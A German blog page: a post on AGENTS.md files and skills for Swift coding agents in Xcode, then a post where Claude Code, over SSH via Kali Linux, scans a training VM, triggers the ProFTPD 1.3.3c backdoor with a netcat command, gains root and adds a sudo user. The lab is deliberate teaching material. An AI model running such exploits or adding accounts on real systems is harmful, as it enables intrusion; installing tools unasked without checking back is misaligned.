Die dort gespeicherten Dateien werden — parallel zu eventuell ebenfalls vorhandenen gleichnamigen Dateien auf Projektebene — automatisch berücksichtigt, sobald Xcode Codex oder Claude Agent startet.

Vorsicht! Das ClaudeAgentConfig-Verzeichnis gilt nicht, wenn Sie in Xcode Claude verwenden. Es wird nur von Claude Agent berücksichtigt. Diese verwirrende Differenzierung zwischen zwei fast gleichnamigen KI-Features hat mir anfangs eine Menge Zeit gekostet.

Systemweite AGENTS.md-Dateien sind also der ideale Ort, um Swift- bzw. Xcode-spezifische Anweisungen zu speichern, die nichts mit einem konkreten Projekt zu tun haben. Es ist empfehlenswert, den Coding-Agenten dort Hinweise zu geben, dass diese ausschließlich moderne Swift-Sprachmerkmale (z.B. Concurrency) und SwiftUI-Features nutzen sollen.

Warum ist das so wichtig? Sprachmodelle werden mit im Internet verfügbaren Informationen trainiert. Dort überwiegen aber veraltete Informationen, die sich auf ältere Swift/SwiftUI-Versionen beziehen. Deswegen ist der von KI-Sprachmodellen generierte Code oft sub-optimal. (Dass Apple den Coding-Agenten via MCP Zugriff auf die aktuelle Dokumentation gibt, hilft nicht viel. Die KI erkennt gar nicht die Notwendigkeit, dort nachzusehen.)

Es gibt im Internet mehrere Vorlagen für AGENTS.md/CLAUDE.md. Die beste stammt meiner Ansicht nach von Paul Hudson (Hacking with Swift):

https://github.com/twostraws/SwiftAgents/blob/main/AGENTS.md

Laden Sie die Datei herunter, und speichern Sie diese unter einem der beiden folgenden Pfade:

~/Library/Developer/Xcode/CodingAssistant/codex/AGENTS.md
~/Library/Developer/Xcode/CodingAssistant/ClaudeAgentConfig/CLAUDE.md

Lesenswert ist dazu auch Hudsons Blog-Artikel What to fix in AI-generated Swift code!

AGENTS.md bzw. CLAUDE.md auf Systemebene

Die Dateien .claude/CLAUDE.md bzw. .codex/AGENTS.md erfüllen die gleiche Funktion, aber auf Systemebene und losgelöst von Xcode. Dort durchgeführte Einstellungen gelten allerdings für ALLE Programmiersprachen. Insofern ist es keine gute Idee, hier Swift- oder Xcode-spezifische Anweisungen zu speichern.

Wenn die Dateien CLAUDE.md bzw. AGENTS.md auf mehreren Ebenen (System, Xcode, Projekt) existieren, werden alle Dateien berücksichtigt und kombiniert. Umso wichtiger ist es, die Dateien nicht unnötig aufzublähen.

Swift-spezifische Skills

Skills verfolgen die gleiche Idee wie AGENTS-Dateien, formulieren also Regeln im Markdown-Format. Aber während die AGENTS-Dateien immer berücksichtigt werden, werden Skills nur bei Bedarf ausgewertet. Beispielsweise kann ein Skill-Dateiset Refactoring-Regeln enthalten. Erst wenn Sie in einem Prompt explizit Refactoring erwähnen (manchmal müssen Sie ganz explizit auf den Skill hinweisen), werden die dort gespeicherten Zusatzregeln berücksichtigt. Skills können auch Anweisungen für den Aufruf externer Tools beinhalten. Das ist an dieser Stelle aber kein Thema.

In den letzten Monaten haben einige Blogger Skill-Sets für Swift und SwiftUI zusammengestellt (siehe die Links am Ende dieses Beitrags). Ich greife an dieser Stelle den besonders nützlichen Skill SwiftUI Pro heraus:

https://github.com/twostraws/SwiftUI-Agent-Skill

Dieser Skill ist dazu gedacht, um in vorhandenen SwiftUI-Projekten einen Code Review durchzuführen — wahlweise via Claude Code, Codex CLI oder Xcode. Das KI-Sprachmodell durchsucht den Code dann nach veraltetem Code und macht Verbesserungsvorschläge. Das funktioniert großartig!!

Ein konkretes Anwendungsbeispiel im Zusammenspiel mit Claude Code folgt gleich. Vorerst geht es aber um die Installation, bei der es mehrere Varianten gibt, je nachdem ob Sie den Skill in einer CLI (Claude Code, Codex CLI) oder direkt in Xcode nutzen möchten.

Beginnen wir mit der Installation für CLI-Tools: Dazu öffnen Sie ein Terminalfenster und wechseln in das Projektverzeichnis. (Das Installationskommando setzt Node.js voraus. Führen Sie gegebenenfalls vorher brew install node aus.)

cd my-swiftui-project
npx skills add https://github.com/twostraws/swiftui-agent-skill --skill swiftui-pro

Während der Installation werden Sie gefragt, welche KI-Tools/Agenten Sie verwenden (z.B. Antigravity, Claude Code, Codex, Cursor usw.). Das hat Einfluss auf den Installationsort. Viele KI-Tools berücksichtigen das Verzeichnis .agents/skills, aber manche Tools wollen ihr eigenes Verzeichnis (z.B. .agent/skills oder .claude/skills). Dort werden standardmäßig Links auf die Dateien in .agents eingerichtet.

Außerdem müssen Sie sich entscheiden, ob die Skills universell für alle Projekte gelten sollen (Installation relativ zum Home-Verzeichnis) oder nur für ein Projekt (Installation im Projekt-Verzeichnis). Vor allem wenn Sie auf Ihrem Rechner Projekte in verschiedenen Programmiersprachen entwickeln, ist die projektspezifische Installation sicherer.

Die Xcode-Installation ist leider etwas umständlicher. Ich gehe davon aus, dass Sie vorher eine CLI-Installation in ein Projektverzeichnis durchgeführt haben. Von dort kopieren Sie nun das gewünschte Skills-Unterverzeichnis in das passende Xcode-Verzeichnis:

# für Claude Code
mkdir -p ~/Library/Developer/Xcode/CodingAssistant/ClaudeAgentConfig/skills
cd my-swiftui-project
cp -a .claude/skills/swiftui-pro ~/Library/Developer/Xcode/CodingAssistant/ClaudeAgentConfig/skills

# für Codex
mkdir -p ~/Library/Developer/Xcode/CodingAssistant/codex/skills
cd my-swiftui-project
cp -a .agents/skills/swiftui-pro ~/Library/Developer/Xcode/CodingAssistant/codex/skills

Jetzt sollten Sie sich noch vergewissern, dass der neue Skill wirklich im KI-Agenten Ihrer Wahl innerhalb von Xcode verfügbar ist (hier für Claude Code).

Der Screenshot zeigt Xcode mit einem Claude-Agent-Chat und einer Swift-Datei zur Kontrolle eines installierten Skills. Links ist im Chat die Anfrage „list skills available to you“ markiert, darunter wird der Skill „swiftui-pro“ mit Beschreibung und Aufruf „/swiftui-pro“ angezeigt. Rechts ist der Code von „Category.swift“ geöffnet, inklusive einer `Category`-Klasse und Initializer. Oben steht „Build Succeeded“.
Kontrolle der Installation eines Skills in das Xcode-Claude-Agent-Verzeichnis

Der Aufruf des Skills variiert je nach Coding-Agent:

  • Claude Agent: /swiftui-pro funktioniert nicht. (Dieses Claude-Code-Kommando klappt nur in der CLI.) Vielmehr müssen Sie in Xcode einen Prompt formulieren, der so ähnlich wie diese Anweisung aussieht: »Use the SwiftUI Pro skill to look for problems in this project.«
  • Codex: $swiftui-pro

Anwendungsbeispiel mit Claude Code

Im Folgenden gehe ich davon aus, dass Sie mit Claude Code arbeiten. Nach dem Start vergewissern Sie sich mit dem Kommando /skills, dass Claude die Skill-Regeln swiftui-pro kennt. Den Code Audit starten Sie nun mit /swiftui-pro (bzw. in Codex mit $swiftui-pro).

cd my-swiftui-project
claude

> /skills

  ...

> /swiftui-pro 

  ...

  Summary

  1. Accessibility (high): Multiple icon-only buttons throughout
    (PlanTabView:66, SettingsTabView:159, CategoriesView:23/37) are invisible
    to VoiceOver. The CategoryHeader uses onTapGesture instead of Button, also
    problematic for VoiceOver.

  2. Deprecated API (high): foregroundColor() used in 6+ locations should be
    foregroundStyle().  cornerRadius() used in 3 locations should be
    clipShape(.rect(cornerRadius:)). tabItem() should be the modern Tab
    API. .autocapitalization() should be .textInputAutocapitalization(). Style
    struct instances (PlainButtonStyle(), etc.) should use static member
    syntax.

  3. Code organization (medium): Multiple type definitions per file throughout
     the view layer (PlanTabView has 3 types, SettingsTabView has 3,
     EditItemView has 3, CategoriesView has 2). Each should be in its own
     file. The itemsForEach method returning some View should be a dedicated
     View struct.

  4. Data flow (medium): Category class is @Observable but missing
     @MainActor. @State var vm in ShoppingTabView, PlanTabView, and
     CategoriesView is not marked private.

  5. Modern Swift (low): Use Date.now over Date(), URL.documentsDirectory over
     FileManager lookups, !items.isEmpty over items.count > 0, modern ISO 8601
     date parsing, and the Tab enum pattern for tab selection.

  The review is complete above. Would you like me to fix any of these issues?

Alle Probleme auf einmal zu beheben ist keine gute Idee. Besser gehen Sie schrittweise vor und erstellen nach jedem Fix und dem nachfolgenden Test Ihrer App Xcode einen Commit.

> fix foregroundColor()

  Done. Replaced all .foregroundColor() with .foregroundStyle() across 3 files:                            

  - ContentView.swift - 4 occurrences (debug overlay text colors)                                          
  - PlanTabView.swift - 2 occurrences (toggle button labels)              
  - SettingsTabView.swift - 3 occurrences (error text, warning text, sync time indicator) 

> ! git commit -a -m 'fixed foregroundColor -> foregroundStyle'  
Der Screenshot zeigt ein Terminalfenster mit einem laufenden SwiftUI-Code-Review. Oben wird angezeigt, dass zwei Agenten Referenzdateien und Swift-Quellcode im Hintergrund einlesen. Darunter folgen Review-Ergebnisse zu „Category.swift“ und „ContentView.swift“ mit konkreten Hinweisen, z. B. @MainActor bei @Observable sowie die Umstellung von `tabItem()` auf die moderne `Tab`-API.
Start des Code Reviews
Der Screenshot zeigt ein Terminal-/Editorfenster mit einem automatisierten Swift-Code-Review. Aufgelistet sind mehrere Hinweise mit „Before/After“-Codebeispielen, etwa zu `Date.now`, dem Vermeiden von `String(format:)`, `items.isEmpty` statt `count == 0` sowie ISO8601-Datumparsing. Unten folgt eine „Summary“ mit Kategorien wie Accessibility, Deprecated API, Code Organization und Data flow. Bildunterschrift: „Zusammenfassung der gefundenen Probleme“.
Zusammenfassung der gefundenen Probleme
Der Screenshot zeigt ein Terminalfenster mit einem Code-Diff und einer automatisierten Änderung in einer SwiftUI-App. In `ContentView.swift` werden mehrere Vorkommen von `.foregroundColor(...)` durch `.foregroundStyle(...)` ersetzt, grün/rot markiert als Add/Remove. Darunter steht eine Zusammenfassung der Treffer in mehreren Dateien sowie ein Git-Commit („fixed foregroundColor -> foregroundStyle“) mit geänderten Dateien.
Behebung eines der festgestellten Probleme

Lesetipps

AGENT-Dateien und Skills bestehen aus Markdown-Dateien. Selbst wenn Sie keine KI-Tools verwenden wollen, lohnt sich die Lektüre dieser Regeldateien. Sie werden nirgendwo sonst so kompakte Regeln zur richtigen Swift/SwiftUI-Programmierung finden! Lesen Sie beispielsweise die Anweisungen zur richtigen Verwendung von Actors aus dem Concurrency-Skill von Paul Hudson.

Quellen/Links

Grundlagen zu AGENTS.md/CLAUDE.md/Skills

Agentic Coding mit Xcode

Für Swift optimierten AGENTS.md-Dateien und Skills von Paul Hudson

Ähnliche Dateien/Skills von anderen Entwicklern

Videos

  •  

Hacking / Penetration Testing mit KI-Tools automatisieren

Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, sei es zu Administration von Linux-Rechner, sei es zur Durchführung von Hacking- oder Penetration-Testing-Aufgaben. In diesem Beitrag illustriere ich anhand eines Beispiels das sich daraus ergebende Potenzial.

Entgegen landläufiger Meinung brauchen Sie zum Hacking per KI keinen MCP-Server! Ja, es gibt diverse MCP-Server, mit denen Sie bash- oder SSH-Kommandos ausführen bzw. Hacking-Tools steuern können, z.B. ssh-mcp, mcp-kali-server oder hexstrike-ai. Aber sofern Ihr KI-Tool sowieso Kommandos via SSH ausführen kann, bieten derartige MCP-Server wenig nennenswerte Vorteile.

Desktop-Screenshot mit zwei laufenden virtuellen Maschinen und einer Terminal-Session links. Im Vordergrund zeigt ein geöffnetes VM-Fenster Kali Linux mit großem KALI-Logo, darüber ein weiteres virtuelles Fenster mit Konsole. Links ist ein Terminal mit Protokollausgaben zu SSH-, sudo- und Benutzeranlegen (newroot) sowie Verweisen auf eine lokale Claude-Code-Installation. Oben mittig ist die Virtuelle Maschinenverwaltung mit Liste der VMs sichtbar.
Setup auf einem Fedora-Rechner mit zwei virtuellen Maschinen und lokaler Claude-Code-Installation

Setup

Als Ausgangspunkt für dieses Beispiel dient ein KI-Tool mit CLI (Command Line Interface), z.B. Claude Code, Codex CLI, Gemini CLI oder GitHub Copilot CLI. Ebenso geeignet sind Open-Source-Tools wie Aider oder Goose, die mit einem lokalen Sprachmodell verbunden werden können.

Ich habe für meine Tests Claude Code auf einem Linux-Rechner (Fedora) installiert. Claude Code erfordert ein Claude-Abo oder einen API-Zugang bei Anthropic.

Außerdem habe ich zwei virtuelle Maschinen eingerichtet (siehe den obigen Screenshot). Dort läuft einerseits Kali Linux (Hostname kali) und andererseits Basic Pentesting 1 (Hostname vtcsec). Basic Pentesting 1 ist ein in der Security-Ausbildung beliebtes System mit mehreren präparierten Sicherheitslücken.

Für das Netzworking habe ich der Einfachheit halber beide virtuellen Maschinen einer Bridge zugeordnet, so dass sich diese quasi im lokalen Netzwerk befinden. Sicherheitstechnisch für diese Art von Tests wäre es vernünftiger, Kali Linux zwei Netzwerkadapter zuzuweisen, einen für den Zugang zum Hostrechner (Fedora) und einen zweiten für ein internes Netzwerk. Das Target-System (hier Basic Pentesting 1) bekommt nur Zugang zum internen Netzwerk. Damit kann Kali Linux mit dem Target-System kommunizieren, aber es gibt keine Netzwerkverbindung zwischen dem Target-System und dem Host-Rechner oder dem lokalen Netzwerk.

In Kali Linux habe ich den Benutzer aiadmin eingerichtet. Dieser darf per sudo alle Kommandos ohne Passwort ausführen:

# in /etc/sudoers auf Kali Linux
aiadmin ALL=(ALL) NOPASSWD: ALL

Auf dem lokalen Rechner (Fedora) kümmert sich .ssh/config darum, dass aiadmin der Default-User für SSH-Verbindungen ist.

# Datei .ssh/config auf dem lokalen Rechner
Host kali
  User aiadmin

Damit der SSH-Login bei Kali Linux ohne Passwort funktioniert, habe ich einen SSH-Key eingerichtet:

fedora$ ssh-copy-id aiadmin@kali

Sobald das funktioniert, habe ich den interaktiven Login für aiadmin gesperrt (Option -l wie lock).

kali$ sudo passwd -l aiadmin

Der privilegierte Benutzer aiadmin kann jetzt also NUR noch per SSH-Key-Login genutzt werden.

Alternatives Setup Bei diesem Setup gibt es eine logische Barriere zwischen unserem Arbeitsrechner mit diversen Entwickler- und KI-Tools und Kali Linux. Wenn Sie im Security-Umfeld arbeiten, ist es naheliegen, Claude Code oder ein anderes KI-Tool direkt in Kali Linux zu installieren und so den SSH-Umweg einzusparen.

Setup testen

Nun richten Sie ein leeres Projektverzeichnis ein, wechseln dorthin und starten claude. Die beiden ersten Prompts dienen dazu, Claude das Testumfeld zu erklären und dieses auszuprobieren.

> There is a Kali Linux installation with hostname kali. 
  Try to connect via SSH. (OK ...)

> Kali can connect to host vtcsec. This is a VM designated 
  for penetration testing. ping to it! (OK ...)
Der Screenshot zeigt ein Terminalfenster mit Claude Code, in dem erste Tests für ein Setup ausgeführt werden. Oben ist die Startseite von „Claude Code v2.1.29“ mit „Welcome back Michael!“ sowie Tipps und „No recent activity“ zu sehen. Darunter werden per Bash SSH-Verbindungen zu „kali“ geprüft und eine erfolgreiche Verbindung ohne Passwort bestätigt. Anschließend zeigt ein Ping auf „vtcsec“ erfolgreiche IPv6-Antworten und 0% Paketverlust.
Erste Prompts um das Setup zu testen

AI Assisted Hacking

Im dritten Prompt geht es richtig los. Claude soll in Kali Linux einen Port Scan für das Pentesting-System durchführen. Dort findet es eine veraltete ProFTPD-Version mit einer bekannten Sicherheitslücke.

> Now do a proper port scan for vtcsec. Find out what 
  software is running.


  (...) Here's what's running on vtcsec:

  Port  Service  Version
  21    FTP      ProFTPD 1.3.3c
  22    SSH      OpenSSH 7.2p2 (Ubuntu)
  80    HTTP     Apache 2.4.18 (Ubuntu)

  OS: Linux 3.x/4.x (Ubuntu), running as a QEMU VM.

  Notable observations:

  - ProFTPD 1.3.3c is a notably old version with 
    known vulnerabilities (including a backdoor in 
    certain distributions).
  - OpenSSH 7.2p2 and Apache 2.4.18 are also outdated versions with known CVEs.
  - Only 3 ports open, 997 closed — a fairly minimal attack surface.
Das Bild zeigt einen Terminal-/Chat-Screenshot, in dem ein Port-Scan mit Nmap ausgewertet wird. Oben ist der Bash-Aufruf „sudo nmap -sV -sC -O“ sowie ein Scan-Report für einen Host (192.168.178.48) zu sehen. Darunter listet eine Tabelle offene Ports 21/22/80 mit ProFTPD 1.3.3c, OpenSSH 7.2p2 und Apache 2.4.18. Hinweise nennen veraltete Versionen, Linux/Ubuntu auf QEMU und nur drei offene Ports.
Port-Scan durchführen
> Find exploits for ProFTPD.

  (...) Here are the exploits found for ProFTPD 1.3.3:

  Exploit
  ProFTPd 1.3.2rc3 < 1.3.3b (FreeBSD) Telnet IAC Buffer Overflow
  ProFTPd 1.3.2rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow
  ProFTPd 1.3.3c - Compromised Source Backdoor
  ProFTPd IAC 1.3.x - Remote Command Execution
  ProFTPd 1.3.3c - Backdoor Command Execution (Metasploit)

  The most relevant one is the backdoor in ProFTPD 1.3.3c - 
  this is the infamous incident where the ProFTPD source code
  was compromised, and a backdoor was inserted. It allows remote 
  command execution by sending HELP ACIDBITCHEZ to the FTP service. 
  There's both a manual exploit and a Metasploit module available.

  Want me to try the backdoor exploit against vtcsec?

Wir wollen nun die gefundene Backdoor nutzen. Der erste Exploit-Versuch scheitert, aber bereits im zweiten Versuch kann Claude die Backdoor in ProFTPD ausnutzen und erreicht root-Rechte.

> Yes, try it!

  Bash(ssh kali "searchsploit -x linux/remote/15662.txt")
  Exploit: ProFTPd 1.3.3c - Compromised Source Backdoor 
                            Remote Code Execution
  URL:  https://www.exploit-db.com/exploits/15662
  Path: /usr/share/exploitdb/exploits/linux/remote/15662.txt

  Bash(ssh kali 'echo -e "HELP ACIDBITCHEZ\nid\nhostname
               \nuname -a\nexit\n" | nc -w 5 vtcsec 21')

  The simple netcat approach didn't return command output. 
  Let me try with a proper interactive approach using Metasploit 
  or a Python script.

  Bash(ssh kali 'python3 -c " ..." ')
  Banner: 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.178.48]
  Response: uid=0(root) gid=0(root) groups=0(root)...
  Response: vtcsec
  Response: Linux vtcsec 4.10.0-28-generic

  The backdoor exploit worked. Here's what we got:

  - Access level: uid=0(root) — full root access
  - Hostname: vtcsec
  - Kernel: Linux 4.10.0-28-generic (Ubuntu 16.04)

  The HELP ACIDBITCHEZ backdoor in ProFTPD 1.3.3c gave an unauthenticated
  remote root shell with zero effort — no credentials, no authentication, 
  just a single FTP command.  Want me to explore the system further or move 
  on to testing the other services?
Der Screenshot zeigt eine Terminal-/Chat-Ausgabe zur Ausnutzung der ProFTPD‑Backdoor in Version 1.3.3c. Beschrieben wird der Trigger über den FTP-Befehl „HELP ACIDBITCHEZ“ und die Suche nach dem passenden Exploit (Exploit‑DB/15662). Anschließend werden Bash-/Netcat- sowie ein Python‑Ansatz ausgeführt. Die Ausgabe bestätigt schließlich Root-Zugriff (uid=0) auf den Host „vtcsec“ samt Kernel/Ubuntu-Version.
ProFTPD-Backdoor ausnutzen

Mit den nun erworbenen root-Rechten soll Claude einen neuen Benutzer mit sudo-Rechten einzurichten. Wiederum scheitert der erste Versuch, weil das Kommando sshpass auf Kali Linux nicht installiert ist. Claude lässt sich davon nicht beirren: Ohne weitere Rückfragen installiert es das fehlende Kommando, richtet den neuen Benutzer ein und verifiziert dessen Funktionsweise. Grandios!

Screenshot eines Terminal-Protokolls zum Anlegen eines neuen Nutzers und Testen von SSH-Zugriff. Das Bild zeigt Befehle zum Erstellen des Benutzers "newroot" mit Passwort "topSecret", UID/GID 1001 und Shell /bin/bash sowie einen fehlgeschlagenen SSH-Versuch (Error: Exit code 127) wegen fehlendem sshpass. Dazwischen wird sshpass per apt installiert, SSH-Verbindung bestätigt und am Ende sudo-Rechte für den Benutzer ergänzt.
Neuen Benutzer mit sudo-Rechten einrichten

Anmerkungen

Bemerkenswert an diesem Beispiel ist, dass ich Claude nie mitgeteilt habe, wie es vorgehen soll bzw. mit welchen Hacking-Tool es arbeiten soll. Claude hat selbstständig den Port-Scan mit nmap durchgeführt, mit metasploit nach einem Exploit gesucht und diesen angewendet.

Auch wenn das obige Beispiel einen erfolgreichen Einbruch skizziert, wird Hacking mit KI-Unterstützung nicht automatisch zum Kinderspiel. Hier habe ich die Richtung vorgegeben. Wenn Sie dem KI-Tool freie Hand lassen (Prompt: »Get me root access on vtcsec«), führt es den Portscan möglicherweise zuwenig gründlich durch und übersieht den ProFTPD-Server, der in diesem Fall beinahe eine Einladung zum Hacking darstellt. Stattdessen konzentriert sich das Tool darauf, SSH-Logins zu erraten oder Fehler in der Konfiguration des Webservers zu suchen. Das sind zeitaufwändige Prozesse mit nur mäßiger Erfolgswahrscheinlichkeit.

Die Steuerung von Hacking-Tools via SSH stößt an ihre Grenzen, wenn es um die interaktive Bedienung von CLI-Tools oder um die Steuerung grafischer Benutzeroberflächen bzw. Web-Tools geht (z.B. Burp Suite, Empire Framework oder OpenVAS).

Fakt bleibt, dass die KI-Unterstützung den Zeitaufwand für Penetration Tester erheblich senken kann — z.B. wenn es darum geht, mehrere Server gleichzeitig zu überprüfen. Umgekehrt macht die KI das Hacking für sogenannte »Script Kiddies« leichter denn je. Das ist keine erfreuliche Perspektive …

Quellen, Links

MCP-Server (optional für KI-Tools, die keinen direkten Kommandoaufruf ermöglichen)

  •  
❌